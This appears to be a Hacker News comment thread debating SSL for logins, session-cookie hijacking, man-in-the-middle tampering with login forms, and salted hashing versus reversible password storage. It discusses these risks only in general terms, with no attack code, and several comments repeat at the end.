If you assume that an attacker has access to your traffic (via MITM DNS poisoning, proxy or something else remote) then logging in via SSL while running the logged in application over non-SSL prevents nothing, since the attacker can grab the session token/cookie.
Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.
This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)
(with a XSRF exploit in a web app, capturing the session token is as easy as:
speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))
Good point, but for most of the websites guilty of these problems I really dont care about stealing my session or any data being transmitted. Most of them have little other information I care about being stolen, besides maybe my email address (and that shouldnt even be a problem if the website is designed properly, although of course if they arent using SSL in the first place you might they probably aren't)
What are you talking about? HTTP-to-HTTPS post is perfectly fine w/r/t sending info securely. It's especially useful for performance if your login is on a page where less than 10% of your users are expected to login.
No. Attackers will just modify the (insecure) login form so that it posts somewhere insecure, and then relay the creds to the secure handler without you noticing. You can't safely serve a secure login form from an insecure page.
If you start considering active man-in-the-middle attacks, someone can modify the HTTP page that hosts the login form to, for example, also send the password somewhere else.
For defending against passive MITM, you're right (as far as I know) that HTTP-to-HTTPS is okay.
It's extremely disappointing that the majority of sites don't have secure logins. Is there a certain performance penalty that is associated with it? (Not for something small, but say Facebooks scale if they were to have https as the default login?)
(After we get sites using https for logins I suggest we go after ones e-mailing passwords to users ala Plenty of Fish)
A question, how many people have seen a "password sniffed on the wire" attack in the wild? Apart from unsecured hacker attended conference wifi networks, Ive not encountered one, or heard about one from friends/colleagues. There's cases like the TJMax credit card exploit where the attacker got sniffing code running inside their processing network, but do attacks on Internet traffic while in-the-fuzzy-cloud-on-the-diagram actually happen? I suspect highly targeted attacks might, but not the large scale impact of server intrusions exposing (even hashed) password databases... ( Ive had "low grade" passwords exposed a couple of times in the last few years that way...)
Well, that's not what this is about. This is about sending the password (from the client to the sever, to log in) in plain text, and that's easy to verify by just sniffing your network traffic (which is what the author of this originally did).
It may be impossible to verify completely whether a site stores passwords in plain text without back-end access, but sites that do often send forgotten password emails in plain text too. If a site's doing that, it's a pretty good bet they're storing it in plain text. (And if they're not, they're using a pretty insecure storage scheme anyway. Websites should store salted cryptographic hashes of passwords, not the passwords themselves.)
Sorry for the confusion -- this whole thing is about how passwords are transmitted, not how they are stored.
When it comes to password storage, though, the only way to find this out is: (1) if you are able to look at the backend systems, (2) if someone hacks in, as happened with rockyou (google: rockyou passwords), or (3) if they send you your password back in the clear in a password reminder email, rather than forcing you to create a new one. Note that #2 and #3, if they happen, only indicate that passwords are stored in the clear. If they don't happen that doesn't mean they are not stored in the clear.
>...if they send you your password back in the clear in a password reminder email, rather than forcing you to create a new one.
This only indicates they store the password in a recoverable format. It could be encrypted. It shouldn't be stored encrypted -- hashing is the way to go -- but it doesn't mean the server has "hunter2" sitting on disk somewhere.
It is extremely annoying to make "recoverable" encryption schemes even nominally secure. Most of the time, anything that can mail your password might as well be storing the raw passwords. It's bad mojo to suggest that "reversable encryption" is a good strategy.
Every time this comes up, someone suggests some rube goldberg contraption involving multiple hosts and escrowed keys which is hard to refute except that it never exists in the real world and, even if it did, would still only provide security that asymptotically approaches hashing.
Storing passwords in plaintext (or obfuscated) in a database is not what the author is saying. He's simply saying that they're not using encrypted HTTPS connections, so if a user logs into one of the offending sites over a publicly accessible connection (i.e. public wifi), anyone nearby could use a sniffer app to see their password travel over the network.
Regarding the Super User post, he's correct that storing passwords as reversible rather than plain text is a LITTLE different, but if their servers are compromised, the hacker could simply run the reverse function on your password to retrieve it. The one situation where it's safer is if the database tables are hacked, but the server's code is still secure.
I'd argue that storing reversible passwords is almost the same as plain text, but I'm interested to hear if people think reversible is significantly better than plain text.
I'd argue that storing reversible passwords is almost the same as plain text, but I'm interested to hear if people think reversible is significantly better than plain text.
Reversible can be secure, but only if it is done right.
I once had to set up an affiliate section for a website, and we needed to securely store sensitive information such as tax IDs. My solution was to salt it then encrypt it with a public key. (The salt was not stored. Its only purpose was to make it impossible to do a brute force search through possible answers.) The private key was only available on a machine on a different network. (Because it only needed to be run every few months, I went further still and stored the key on a disk that was on no network at all!) From there it was easy to suck in the information, decrypt it with the private key, and put it into the financial system.
Yes, I was storing sensitive information in reversible form. However even if you managed to compromise the webserver, the database, and had the source code, decoding that data was still effectively impossible.
If you follow this strategy, the one thing that you cannot do easily is have the ability to have your website extract the sensitive information. (If you really want to you can have a table of requests, and a batch job elsewhere that attempts to fulfill them. Be very, very careful in setting something like that up though, because your attempt to open things up a crack may result in a hole a Mack truck could drive through.) However for certain use cases, it works quite well.
I went further still and stored the key on a disk that was on no network at all!
That's a good solution and it sounds like your system was about as secure as one could expect when needing to store sensitive data in a reversible format.
I believe the article is referring to the plaintext transmission of credentials (your browser --> their server) which can be intercepted, rather than the plaintext storage of credentials (their server --> their database). Both are problematic.
I don't know how he can be sure, but you can know a site stores passwords if, for example, they are able to send your password to you if you forget it. This would not be possible if the password were stored as a salted hash.
Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.
This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)
(with a XSRF exploit in a web app, capturing the session token is as easy as:
speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))